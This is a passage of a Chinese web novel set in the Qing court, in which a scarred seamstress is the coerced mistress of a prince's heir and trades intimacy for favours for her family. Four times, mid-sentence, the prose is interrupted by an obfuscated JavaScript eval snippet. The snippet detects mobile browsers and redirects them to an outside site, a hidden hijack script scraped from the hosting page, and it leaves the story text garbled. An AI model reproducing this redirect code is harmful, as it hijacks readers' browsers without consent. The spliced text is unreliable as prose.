张宗又想到乌锦是给世子当外室,没名没分,若是世子真的喜欢乌锦,又怎会让她当外室,男子让女子当外室本就是轻视之举,她估计在世子那人微言轻,不敢找世子帮忙。
又要强行逼迫乌锦当外室,又不愿珍视乌锦,仗着权势为非作歹,欺压百姓,世子是真该死,张宗对简亲王世子的恨意又多了几分。
他此前说他已经放下她了,怕乌锦多疑,张宗不好再说什么,只能带着妹妹离开铺子。
谢嬷嬷在张宗离开不久后进到铺子里面,乌锦还在盘点纱线,见到谢嬷嬷,她只能放下手头上的活,吩咐彩玉几句后便跟着谢嬷嬷离开。
“嬷嬷,我弟弟想入镶蓝旗官学读书,你可认识手上握有入学名额的佐领或参领?”
谢嬷嬷一听,有些不解:“乌姑娘,这事你可以找世子帮忙,若是世子帮不上,我就更帮不上了,乌姑娘为何不找世子?”
那还不是吃人嘴软,拿人手短,能自己解决的事情找人帮忙的话肯定要还债,人情债也好,其它债也罢,总归是要欠别人的,她跟他的关系本就见不得光,她在他那也没什么情分,哪敢求他帮忙,找他帮忙不得掂量掂量自己的份量,她不过是一供他玩乐的外室而已。
她想着等他腻了,他们桥归桥,路归路,从此不再相见是最好的,这是她最好的结局,最怕的是他怕被人发现被人议论,直接杀人灭口,不仅杀她,还杀所有知情的人,她自己清楚自己的身份,总之是她不能向他索取要求什么,只能是他主动施恩,主动赏赐给予,不然他会以为她得寸进尺,认不清楚自己的地位,然后开始折磨她,这人性子本来就有点疯。
“乌姑娘,这对于世子而言不过是举手之劳而已,与其乌姑娘费尽心思,用尽力气找他人帮忙,不如求求世子。”
乌锦看向谢嬷嬷,真诚致谢:“嬷嬷,我晓得了,谢谢嬷嬷指点。”
26. 第26章
第26章
经过谢嬷嬷的提点,乌锦也想通了,的确,对他们家而言是难事,对他而言是动动嘴皮子,吩咐一句的易事,她开口求他,他不愿帮她,她也没什么损失。
许是有事相求,乌锦主动许多,在他亲吻她时,她十分热情地迎合,双手攀着他的脖颈,之前除了喊疼,不大愿意出声,今日娇哼声不断。
胤禛察觉到她今日的异样,没有点破,她像是被抽走骨头一样柔软乖顺地攀着他,她那双潋滟的黑眸中仿佛只有他一人,染上浓浓的春意,目光灼灼,哪怕他咬破她嘴唇,她也没有喊疼。
他的手掌抚着她后背的蝴蝶骨,不断地逼近她。
到最后,两个人都没了力气,额间冒出不少细密的汗水,一场淋漓尽致的房事才结束。
胤禛垂眸看她,她双颊酡红,像一条搁浅的鱼,已无挣扎的力气,察觉到他在看她,她下意识讨好,昂着下巴在他唇上落下一吻,这一吻取得他一时的愉悦,他主动开口问道:“说吧,有什么事要求我?”
“世子爷果然聪明绝顶,奴婢蠢笨,什么事都瞒不过世子爷。”
乌锦抓住机会顺着他的话说,奉承他一句,她将乌明入学的事简单说一遍,她半边脸庞贴着他胸膛,依偎着他,“不知世子爷能否帮奴婢?”
胤禛听完后反而不着急回答她,其实这对他而言是一件轻而易举的事,但对于乌家这种普通旗民,可能就是难事,各旗官学招收的八旗子弟一年顶多一百来人,而入学名额基本上掌握在有一定权势的官员手上,像乌志善这种无权无势的佐领手头上没有名额很正常,入了官学的八旗子弟更多在于结识人脉。
乌锦仰着脸看他,见他沉默,她心里一沉,想来他不愿意帮她,她又说道:“若是世子爷觉得为难,就当奴婢没说过,奴婢再想想它法。”
“我先前已经帮你将你阿玛升为佐领,如今你又要我帮你弟弟入官学,你僭越了,别仗着几次恩宠就得寸进尺,贪得无厌,你要记住你的身份,别惦记你不该惦记的东西。”
乌锦就知道他会这么说,想啐他一口,但只能忍下,她顺着他的话说道:“世子爷说得对,奴婢一直都记得自己的身份,不敢僭越,也不敢惦记别的东西,世子爷就当奴婢没说过,是奴婢唐突了,奴婢服侍世子爷都是应该的,不会借此邀功,奴婢往后不会了。”
胤禛垂眸看她,她脸上有明显的失望,他目光下移,除了脸上那道疤,还有粗糙的双手,她其它地方很诱人,乌黑明亮的双眸、雪白的皮肤、纤细的脖颈、一手握不住的软肉与柔媚的嗓音,此时乖巧的样子十分蛊惑人心,像白色清香芙蓉花般引人采摘。
他抬起她的下巴,攫住她红唇。
“世子爷……”乌锦见他又情动,下意识想拒绝他,不过最后声音被吞没,她只能抓着他的手臂。
他看上来年纪跟她相差不大,十七八岁,正是体力最旺盛的时候,到最后,她整个人仿佛散开一般,连声音都变得喑哑涣散,溃不成声,床褥更是凌乱不堪,濡湿一片。
乌锦再次昏睡过去,醒来时已不见他,瓜嬷嬷伺候她穿衣,谢嬷嬷端来避子汤。
在她喝完避子汤后,谢嬷嬷笑道:“乌姑娘,主子爷让我给你传话,你说的事,他会让人替你解决。”
乌锦诧异抬头:“嬷嬷说的可是真的?”
谢嬷嬷连连点头,脸上堆着笑:“自是真的,我哪敢骗乌姑娘,主子爷亲口说的,我就说姑娘求求主子爷是管用的。”
乌锦也没想到他最后会答应帮她,她以为没希望了,也不枉她今日尽心伺候他两次,自己落得下半身酸痛不已的下场,她浅笑言:“是,嬷嬷说得对,多谢嬷嬷的提点,时辰差不多了,我要回去了。”
谢嬷嬷说赵师傅就等在府外了。
乌锦整理一番后便离开宅子。
傍晚时分,落日余晖将天空染成橘黄色,一家人坐在一块用膳,乌锦问乌安今日上学都学了什么。
乌安一五一十地说给她听,包括他学到的蒙语,乌锦是一家人中
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913736|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
满蒙语说得最烂的,小时候乌志善跟完颜氏说蒙语,婴儿时期的她觉得在听天书,经过十几年,她能听是能听,但说得不好,更不懂满蒙字,她只识汉字,许是她本来就有汉语体系,再去学一套语言没那么容易吸收。
“你说平日很聪明的一个人,怎么连蒙语都说不好,连你小娘都学会了,你小娘还是汉人呢。”完颜氏打趣道。
乌锦吐了吐舌头,说她会听就行。
一家人其乐融融地吃完晚膳,乌锦没说乌明入官学的事已经解决了,因为她也不知道那人是不是真的会帮她,等真的确定下来再说也不迟。
仅过了三日,她阿玛从镶蓝旗步军衙门那边回来,说是他身为佐领,跟别的佐领一样手头上也有两个入官学的名额,乌明入官学的事有着落了。
程氏一听喜出望外,没想到她这阵子为乌明入官学的事跑进跑出,送礼都被退回来,眼看着今年无望了,没成想自家丈夫又有名额,而且是两个。
“怎么突然间又有名额了?”
乌志善难得摆出自傲的表情:“这不是我今年升佐领了嘛,衙门的人说每个佐领手上都有两个名额,原先他们没来得及通知我,今日才发通文到我手上,我问过其他人,自家孩子可以占一个名额。”
程氏听着高兴:“还好你升为佐领,看来升官还是有好处的。”
两人都不觉得哪里不对,都以为是乌志善今年升为佐领后得来的名额,只有乌锦知道应是那人的功劳,好在这事真的解决了,他言而有信,没有骗她。
除了乌明占了一个名额,乌志善手里还剩下一个名额,邻居三婶乌佳氏听说此事后,上门送礼,她的小儿子今年六岁,一直没能入官学,他们家也是镶蓝旗旗民,乌佳氏的丈夫也是佐领,但他手里头没有名额,之前上的是族学,一听说乌志善有名额,就赶忙过来她家。
三婶跟他们家关系一直都不错,又是抬头不见低头见的邻居,乌锦让她阿玛把剩下那个名额给三婶的小儿子,正好跟乌明一同入学。
27. 第27章
第27章
时值夏季,京城的天越来越热,透蓝的天空悬着高阳,将地面炙烤出热气。
乌锦跟彩玉两人守在铺子里,她专心刺绣,准备在这个月将张宗送给他额娘的寿礼,他父母的人物画像绣出来。
程姨娘还是在午时过来给她们送午膳,从食盒里拿出两大碗冰镇绿豆甜汤,说她今日去正阳门冰窖那边领了十斤冰,这才能在绿豆汤放些冰块消暑祛热。
京城的冰窖基本上是官窖,不允许私人建造,特供给宫廷跟宫府使用,宫廷用冰主要是供给宫里的主子,而官府这边是供给京城的官员跟皇亲贵胄使用。
官窖约莫有二十几座,坐落在京城内外,由工部都水清吏司掌管,每年冬季负责伐冰藏冰、夏季负责颁冰等事务,基本上普通老百姓是用不到夏季的冰。
她阿玛虽说只是佐领,官职低,但也算是一个官,今年才有资格去领官窖那边领冰块,一个月只能领两次,一次十斤冰块。
“你阿玛这么多年好不容易升了佐领,每个月多领一两银子跟两斛米,夏日也能领冰块,要是以前,我们哪敢想这些,以前冰窖那边别人都是派府里的下人排着队领冰,我们都不敢靠近,你阿玛是榆木脑袋,这么多年不开窍,不懂得巴结人,今年不知走了什么好运,不仅能领冰,也能让乌明入了官学,你额娘总说你阿玛不中用,今年好歹是中用了一回。”
程姨娘在一旁絮絮叨叨,说些琐碎事。
乌锦跟彩玉偶尔附和一句,更多专注在吃绿豆汤上,冰冰凉凉的绿豆汤入肚,只觉得清爽不少,吃好后,程姨娘才收拾收拾,提着食盒返家。
程姨娘刚走不久,铺子进来两位女子,走在前头的女子二十初头,上着丁香色妆花纱夹女褂,下着月白色绫裙,头戴赤金嵌珠蝴蝶簪,一张瓜子脸,容貌很艳丽,一看就是富贵人家,后头的女子应是前头女子的丫鬟,衣着相对简约一些。
“两位主子里面进。”乌锦上前招待,露出笑脸。
后头的丫鬟在前面主子的示意下开口说话:“你是这绣秀苑的绣娘吗?”
“我是,两位主子有什么吩咐?还是你们想先看看我们铺子里的绣件。”
彩玉已经很有眼色地递上好几件样品绣件,递给前面的主子。
那姑娘细看几眼后满意地点头,又把绣件递回给彩玉,后开口道:“我听说你们这里的绣娘绣了一件绣球花夹马褂,我找绣了那件夹马褂的绣娘。”
乌锦看了看面前的人,她记得自己前阵子绣了一件绣球花夹马褂,那是李夫人准备献给宫里的宜妃娘娘当生辰礼的,她承认道:“若姑娘说的是那件绣了浅粉色绣球花的夹马褂,那绣娘便是我,不知姑娘在何处见过那件夹马褂?”
“我家福晋是在宫里见到的,李夫人送给娘娘的生辰礼,娘娘当时称赞了几句,我家福晋问了李夫人,我们才知道那件夹马褂是出自这间绣坊之手。”
乌锦听到福晋二字,便屈膝给她们行礼,恭敬道:“奴婢不知是福晋,还请福晋见谅,福晋请座。”
能被叫福晋的应是跟皇家沾点关系的,乌锦请她们坐下,也让彩玉给她们沏茶,只是显然她们没有要喝茶的意思,她站在一旁继续说道:“那夹马褂是奴婢花了几个月绣成的,奴婢只是听从李夫人的吩咐,能得到宫里娘娘的称赞是奴婢不敢想的。”
“不必拘谨,我觉得你绣工不错,我有一件褂子脱线了,我想让你帮你重新绣好,要绣得跟原先一模一样。”
福晋的丫鬟从布袋里拿出福晋所说的褂子,这是一件对襟蓝地云龙缂丝八团灯笼纹男士长褂,不像是常服,更像是朝服。
福晋给她指了指脱线之处,在褂子的正中间,圆金线缂织的行龙被勾破导致脱线,这并非什么难活,她肯定道:“这个奴婢可以做到,只是这金线,奴婢得另外购置,需要十天左右便能重新绣好,金线不便宜,奴婢可能要收五两银子,先收二两订金。”
“月碧。”
丫鬟立马掏出二两银子给她,乌锦收下后对着福晋道谢:“多谢福晋,奴婢十日内必定绣好,福晋可十日后过来取,奴婢也可送上门给福晋。”
“无需送上门,我会让月碧十日后过来取,这褂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919108|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子不可弄脏。”
“福晋请放心,奴婢一定小心拿放,不会碰到脏物。”
福晋似乎还不放心,直接表明身份:“你可知裕亲王府?这件褂子若是在你手上有闪失,弄脏弄破了,你就得小心你的脑袋。”
乌锦听到裕亲王府四个字时,心里一震,面上尽量镇定:“奴婢晓得了,福晋请放心,奴婢定会万分小心。”
送走两人后,乌锦心想她们说的是裕亲王府,那不就是爱新觉罗.保泰所在的王府,爱新觉罗.保泰的地方,那福晋是谁的福晋?是裕亲王的还是裕亲王世子的?
她只知裕亲王今年四十岁左右,那今日见到的福晋只有二十岁出头,十分年轻,若真是裕亲王的福晋,那两人便是相差二十岁,这不是不可能,裕亲王身为圣上的皇兄,身份尊贵,王府里的福晋侍妾应该不少。
这福晋并非只有嫡福晋侧福晋才能喊福晋,一些庶福晋,她们也会说是福晋,毕竟她们只是奴才,称呼主子时挑让主子高兴的称呼来叫人,除非嫡侧福晋都在,有旁人时,她们才会喊那些庶福晋为夫人。
若今日的福晋是裕亲王世子的女人,那她究竟知不知道她是爱新觉罗.保泰养在外面的外室,她是过来试探她还是单纯地想让她重绣褂子。
那宅子在外城,爱新觉罗.保泰找她的次数并不频繁,几个月内只找过她四次,除了上一次在姑母的寿宴上,世子见到过她,他们其实很少能碰到。
爱新觉罗.保泰应该也不想让别人知道他养外室,不然他也不会将宅子安置在外城人少的地方。
乌锦觉得福晋应该不知她是爱新觉罗.保泰的外室,还不知情,不过她今日碰到爱新觉罗.保泰身边名正言顺的福晋,保不齐日后会再次碰到,可能还不止一个。
她是没名没分,见不得光的外室,面对名正言顺的正室,她是有些尴尬心虚的,不对,她为何要心虚,明明是那人的错,她为何要心虚,该心虚该愧疚该死的人是他才是。
乌锦甩甩脑袋,将脑中杂念抛掉,又仔细看要缝补的褂子,琢磨着从哪开始下手,赚钱要紧。
28. 第28章
第28章
乌锦这几日就更忙了,白天埋头刺绣,只花了五日便将那件被勾破脱线的朝褂缝好绣好,将朝褂小心放好,等着她们过来取,然后又忙着绣张宗送给他额娘当生辰礼的人像图。
七月十三日午时正,外头阳光透过窗棂射进来,屋内明亮。
乌锦坐在外间的铺炕上一边看话本一边等那人过来,前日谢嬷嬷过来给她递信,让她今日过来这边,距离上一次见面刚好过去十日。
他帮她解决弟弟入官学的事,她再忙也得过来,况且她也没有拒绝说不的权利。
这一等便是半个时辰,乌锦昨日熬夜刺绣,今日有些困乏,她眼皮快耷拉下来时,人终于过来了。
今日的爱新觉罗.保泰穿了一件天蓝色单纱褂,腰上系了松石马尾钮子带,下穿月牙色短靴,面容清俊,整个人透着浑然天成的矜贵,若是不知他的性子,但初次见会以为这人是温润公子。
他扫过来一眼,乌锦忙从铺炕上下来,跟着他进内间,走近他,主动给他宽衣,反正他每次过来都是为了这事。
“又有事求我?”
乌锦疑惑抬头,反应过来后忙摇头否认:“托世子爷的福,奴婢弟弟入官学的事已经解决了。”
“我还以为你这般主动,是又有事求我。”
这人今日心情不错,乌锦从他轻快戏谑的语气里听出来了,她应道:“奴婢伺候世子爷是应该的,奴婢无所求,你帮了奴婢,奴婢只想报答你。”
胤禛轻笑一声,这女人向来能说会道,她是顺着杆子爬,说好听话的人,面上这么说,心里说不定在诅咒他。
“你觉得你该怎么报答我?”
“奴婢只会刺绣,要不奴婢给世子爷绣一个荷包吧。”
胤禛抬起她的脸,不屑道:“你以为我会缺一个荷包吗?”
乌锦主动在他唇上轻啄一下,单手攀着他的脖颈,柔声道:“奴婢当然知道世子爷什么都不缺,不过这是奴婢的一份心意,奴婢想报答世子爷。”
胤禛觉得这女人很会勾人,明明长了一张不堪丑陋的脸庞,偏偏一举一动很大胆,那双漂亮的黑眸晕染上几分缠绵春意,主动攀附的样子像是一只猫等待主人的垂怜。
他搂住她单薄纤细的腰,低头狠狠攫住她双唇。
乌锦只觉得他如同风卷残云般将她吞没,她差点呼吸不过来,很快被打横抱起放倒在床上,她庆幸他一个月最多找她两次,不然她不认为自己能承受住他的“狂风暴雨”。
事后,他不着急离开,乌锦当着他的面喝下避子汤,又含了两块橘子蜜饯。
胤禛不觉得她喝避子汤有什么不对,她不过是卑贱的外室,他不可能让她怀上皇嗣,他不会有一丁点愧疚,她痛痛快快,不加犹豫喝了,说明她还算知道分寸,没惦记不该惦记的东西。
因是炎热夏日,两人方才都出了不少汗,最后他们一起沐浴,他穿好衣服后就离开了,没有像上次那样停留过久。
而乌锦难得留下来喝一碗放凉的百合莲子甜羹。
一刻钟后,她才从宅子离开。
又过两日,那日福晋的丫鬟月碧姑娘过来取重绣好的褂子,仔细检查过后才付了剩下的三两银子。
“月碧姑娘,这是新鲜的荔枝,你要不要尝几颗,既然月碧姑娘都出来了,应该不急着回去。”乌锦将一盘提前备好的荔枝往前推给月碧。
这荔枝虽说夏季便会有的水果,但普通人家只能偶尔买来尝个鲜,因为不便宜,她买了两斤就花了二两银子,普通人家哪里舍得吃这么贵又不耐吃的东西,月碧虽是福晋身边的丫鬟,她想荔枝这种水果,她身为丫鬟应该也不能随便吃。
月碧果然有些心动,放好装了褂子的布袋,开始剥荔枝。
“月碧姑娘随便吃,别拘着,不够的话,我这里还有。”
见月碧坐下来吃荔枝,乌锦笑了笑,似不经意说道:“福晋为了裕王爷可真是用心了,那件褂子是真的不好补,我找合适的金线都找了两天。”
“裕王爷?我家福晋是世子的福晋,不是王爷的福
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927042|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晋。”
乌锦假装诧异:“是世子爷的福晋?世子爷可是裕王的长子保泰?”
月碧继续吃荔枝,边吃边回道:“你不可直呼世子爷的名讳,这是大忌。”
乌锦轻掌自己的脸:“是我不对,我一普通老百姓不懂规矩,多谢月碧姑娘提醒,月碧姑娘在王府当差,见多识广,不像我这般孤陋寡闻,想必世子爷跟福晋是琴瑟和鸣的一对,日后福晋跟月碧姑娘还有什么吩咐,尽管来找我。”
“我家福晋只是庶福晋,你别搞错了,到时候给我家福晋带来麻烦。”
乌锦笑道:“庶福晋也是福晋,对我这种市井百姓而言都是顶了天的富贵之人,月碧姑娘也是富贵之人。”
月碧对她的话很受用,说她长了一张巧嘴,等吃得差不多后月碧拍拍手,摸到荔枝外壳的手有些脏跟黏,乌锦很有眼色地直接端来一盆清水给月碧洗手,递上干净的帕子给她擦干水渍。
身为丫鬟却被别人伺候的月碧满意地点头,带着重绣好的褂子离开。
乌锦从月碧口中套到一点话,那日的福晋果真是爱新觉罗.保泰后院的女人,不过只是侍妾,并非嫡福晋,她应该对她跟爱新觉罗.保泰并不知情。
若不是宫里的娘娘称赞她的绣工,又问到李夫人送给娘娘那件夹马褂是出自她之手,庶福晋也不会过来绣秀苑找她,李夫人应该在中间帮她说好话了。
乌锦打算过几日抽空送些新鲜的荔枝过去给李夫人,她先让彩玉往简亲王府走一趟,递个帖子,王府不是想去就去的,提前递个帖子,别人方便见,愿意见,她才能上门。
爱新觉罗.保泰的事,她还得多打听打听,有备无患。
她说给他绣一个荷包,他肯定不缺好看的荷包,她不打算亲自绣,随便找一个没用过或者看上去崭新的荷包送给他就行,他未必会看得上她送给他的荷包,她只是走个形式,就当是她谢过他了。
无论是她阿玛升为佐领还是乌明入官学的事,他都是实实在在帮了她,她是知恩图报的人。
29. 第29章
第29章
用过早膳后,乌锦过去市集花了三两银子买三斤新鲜荔枝,挑个头又大又圆,表皮鲜红的荔枝,用筐子装好提着走去简亲王府,不早不晚,巳时正出现在王府侧门前。
冬雪姑娘也准时在门口等她,乌锦对着冬雪微笑颔首,冬雪还是跟上一次一样,只眼神示意她跟着她走,没给她笑脸。
无论是冬雪还是月碧,她们在王府当差,是福晋身边的贴身丫鬟,她们大多是包衣奴才,属于皇家世仆,因在身份尊贵的主子跟前当差,服侍在皇室贵族中,哪怕是丫鬟奴才,她们在面对她这种低她们一等的人时会流露出一种骄傲自满、趾高气扬之态。
乌锦平日里见得多了,不会把她们对她的冷淡放在心上,面色自然平静地跟在冬雪后面,还没走到李夫人所在的映月院时,她们碰到简亲王的嫡福晋西林觉罗氏跟格格多兰。
西林觉罗氏穿着浅绿色绣整枝松鹤纹旗装,头戴点翠海棠花纹头花,手上戴着碧伽南香木镶金手镯,整个人透着雍容华贵,她育有二子一女,长子为雅尔江阿,第二子扬丹年仅七岁早夭,唯一的女儿便是多兰格格。
她站在冬雪后面跟着冬雪一起给福晋行礼,她是第一次见到福晋西林觉罗氏,她感觉到她被上下打量了。多兰格格更是朝着她冷哼一声。
“这是谁?”西林觉罗氏看向冬雪,问了一句。
冬雪回道:“她是镶蓝旗乌佐领的女儿,乌夫人的侄女。”
“乌兰英的侄女?”
“是。”
西林觉罗氏摆摆手,示意她们可以走了,乌锦低垂着头,跟着冬雪继续往前走。
乌锦到映月院后进去东次间,李夫人已经坐在铺炕上等她,她屈膝行礼后先把荔枝送上,再说明来意,主要是为了表达谢意,要不是李夫人给她说好话,她也做不成简亲王世子庶福晋那单生意。
“不过是田氏过来问我,我顺便告诉她而已,你的绣工的确精湛,那日我将那件夹马褂送给宜妃娘娘,宜妃娘娘称赞了好几句,高兴得很,托你的福,我送礼才得到娘娘的欢心,你平日赚钱养家也不容易,下次过来不必给我带东西。”
“那田氏可是裕亲王世子的嫡福晋?”乌锦假装不知,疑惑问道。
李氏笑了笑,否认道,语气带有一丝轻蔑:“田氏可不是裕王世子的嫡福晋,世子的嫡福晋是孟佳氏,从七品内阁中书常安之女,田氏是田佐领之女,她只是庶福晋,原先是世子的通房丫鬟,比世子年长三岁,是王府给世子挑的教导女子,好让世子知道男女房帏之事,孟佳氏没入门前,她便服侍世子了,运气好才被抬为庶福晋,她阿玛是借着她的光才从包衣奴才升为佐领的。”
乌锦了然:“原来是这样,谢谢福晋告诉我这些,福晋若不告诉我,我还什么都不知道。”
这些不算是秘闻,告诉乌锦也没关系,她看得出乌锦这人其实心细口风紧,不会乱说话的,李氏握了握乌锦的手,温声道:“我知道几个月前你退了亲事,如今可还在说亲?我有一侄子,想介绍给你,他是我堂哥的儿子,今年二十岁。与你年龄相仿,如今也领了旗缺,是骁骑营里的汉军牛录之一,三个月前他的妻子因产子大出血而死,留下一子,他房中没有妾室,你若嫁过去便是正妻,我侄子为人端正,你可跟他相处看看。”
乌锦没想到李夫人会给她说亲,这是让她嫁过去当填房跟后母,李夫人可能觉得她侄子的条件不错,若是没有丧妻有子,这门亲事还轮不到她。
李夫人毕竟是简亲王的庶福晋,育有一儿一女,身份尊贵,算是长辈,又多次帮她,她不能太直白地拒绝而得罪人。
许是她面露犹豫,她还在想如何措词拒绝时,李夫人就开口道:“不必为难,你若是不想,可以拒绝,我不会强人所难。”
乌锦抬头跟李夫人对视,真挚道:“福晋,我已经没有要成亲嫁人的念头,没有人会不在意我脸上的伤疤,与其被人嫌弃,不如我不嫁,我后半辈子只想守着我阿玛额娘,安安稳稳地过完一生。”
李氏叹口气,劝道:“你这孩子,总有人是不在意女子的样貌,只在意内在的,你性子大方,兰心蕙质,总有男子是会欣赏你的,女子不嫁人怎么行,你阿玛额娘总归会老的,到时候你孤家寡人,无儿无女,岂不是很可怜。”
乌锦已经是保泰的外室,她想嫁给张宗都不成,再想偷偷嫁人,爱新觉罗.保泰那性子若是察觉,估计会杀了她吧,在他没厌弃她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930663|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之前,她不是自由身,由不得自己自主婚嫁。
“福晋,我一个退过婚又毁容的人配不上别人,或许有这样的男子,只不过我遇不到罢了,我多谢福晋的好意。”
李氏没有继续往下劝说,只让她再好想一想,过一会儿,冬雪送乌锦出去。
“这乌锦没想到还是一个心高气傲之人。”
一旁的秋菊不解问道:“福晋为何这么说?”
李氏哪里会没听出乌锦是没看上她侄子才拒绝这门亲事,不嫁人只是拒绝的说辞而已,她若是不想嫁人,又为何会跟张宗说亲。
“她不想当我侄子的续弦。”
秋菊说道:“可乌姑娘不过是一普通佐领的女儿,长相丑陋,她难不成还想嫁给王公贵臣不成?”道。
“所以说她是心高气傲之人。”
心比天高可不行,人还是得有自知之明,李氏淡淡道。
“那福晋会生乌姑娘的气吗?下回乌姑娘再递帖子,福晋还是不要见她好了,免得她张狂,觉得自己已经攀上福晋了。”
李氏轻笑,摇摇头:“我不会生她的气,你看她送过来的荔枝,颗颗饱满,可见是精心挑选过得,肯定花了不少银子,这人各有志,张宗条件那么好,也没见她嫁给张宗,也许她是真的不想嫁人。”
乌锦会送礼会做人,她目前对乌锦印象蛮好的,说不出太多诋毁的话,她给她说亲本来就很突然,又是嫁过去当续弦跟后母,她不答应也情有可原,李氏不会因此不见乌锦,毕竟她在乌锦这也是得了好处的,这么好的荔枝,她身为庶福晋也不是天天都能吃到的。
冬雪回来时说起方才她领着乌锦出府时碰到世子爷,世子爷主动跟乌锦说话之事。
“奴婢觉得乌姑娘说不定存了别的心思,想攀上世子爷,你看她这阵子多次过来王府,怕是想偶遇世子。”冬雪揣测道。
李氏轻皱眉头,难不成乌锦是想嫁给雅尔江阿当妾,他们两人如何相识的,雅尔江阿是王爷的嫡长子,虽说还没被正式封为世子,但与世子无异,每个人都已经唤他世子,将来的爵位是要传给他的。
“下次乌锦过来时,你细心留意她的举动,看她是否主动接近世子。”李氏吩咐道。
30. 第30章
第30章
乌锦并不知道雅尔江阿主动跟她说两句话就被怀疑她想攀高枝,她从简亲王府回到绣秀苑,在铺子里见到张宗坐在铺子里摆放的红漆官帽椅上。
“你今日不去营里当差吗?”
张宗抬头,说他今日休沐,只是想过来看看绣图绣成什么样了,还赶不赶得及。
乌锦拿出她绣到一半的绣品给他看,说二十日内便能完成,一定能在九月底前绣完。
张宗想说他并非有催促她之意,只是想见她才寻了借口,话到嘴边忍下,她小时学刺绣被针扎得满手针眼,他记得他当时想寻她一同出去玩,当时的她直接拒绝,说是她要在家学刺绣,他记得她一个人安安静静地坐在窗边,心无旁骛地穿针引线。
幼时他们在玩,她大多在家学刺绣,正因如此,她才有一手精湛的绣工。
张宗由衷夸赞道:“你绣得真好,栩栩如生,我额娘要是见到了肯定会非常喜欢的。”
“喜欢就好,你……还有事吗?”
张宗忙摆手,说他这就走,他起身离开铺子。
彩玉凑过来说张宗等她好一会了,一早便过来了。
乌锦听着直皱眉,张宗频繁过来见她不是好事,那人只因她跟张宗偶遇一次被他撞见就特意过来警告她,要是知道张宗私底下多次找她,还不知道要怎么发疯。
张宗是真的放下她了吗?他要是对她还有情意,她还真不知道要怎么跟张宗彻底说清,让他以后别再来找她。
乌锦头疼,没空多想,她得赶紧完成绣活,往后张宗再找她绣什么,她得直接拒绝,免得他有正当理由过来找她。
眨眼来到七月三十日,传说这一日是地藏王菩萨的生日,她额娘一大早就开始忙活,今日要去圆音寺上香,她要弄些吃食上供给菩萨。
乌锦也被叫起来,她要跟她额娘一块去上香,她小娘在家照看乌明,彩玉去守铺子,到了辰时初,她们出门,跟隔壁的大婶王氏、二婶林氏跟三婶乌佳氏雇了一辆马车共同乘坐。
三婶装了她做好的面茶在壶里,她额娘做了梅花香饼跟玫瑰香饼,去寺里的一路上,她们边吃边聊,乌锦身为晚辈,大多数时候只是静静听着。
圆音寺在山上,路程稍远,因今日去各大寺庙上香的人比较多,大道上车马纷纷,好不热闹。
到了山脚下,她们下了马车开始爬石阶,乌锦自然是不信这些的,一路上只顾着看风景。
到了寺里,入目都是过来上香的人,乌锦手上也被塞了香,她额娘叮嘱她,等会跪拜菩萨时一定要虔诚,求菩萨保佑她早日找到好姻缘。
乌锦只能点头说她知道了,上了几柱香后,许是她额娘也看出她的敷衍跟无聊,便让她自己随便逛逛,到了午时再过来寺庙后堂这边吃斋饭。
她额娘跟三婶她们过去佛堂那边听高僧诵经。
圆音寺离她家相对较远,乌锦记得八岁时曾随她额娘来过一次,时隔多年,她已经不大记得寺里各院的坐落,只是随便走走。
寺院人多,佛香萦绕,寺里的古树参天挺拔,周围树木葱郁,阳光洒落在青石路上,山上还有些许雾气萦绕,深吸一口气,只觉得空气清新。
乌锦来到寺庙后院,这里比前院安静不少,但也有人来往,她见到寺里的住持跟几位僧人正接待简亲王福晋西林觉罗氏一行人,随行的奴才跟护卫约有十几个人,将福晋跟格格等主子围在中间。
她并未见到李夫人,于是不好上前打招呼,默默从后院退出去,逛其它地方,前院这边有一池塘,池塘中间有一石拱桥横跨两边,底下池水里养着金鱼跟乌龟。
乌锦站在桥上,跟桥上的其他人一样往下看。
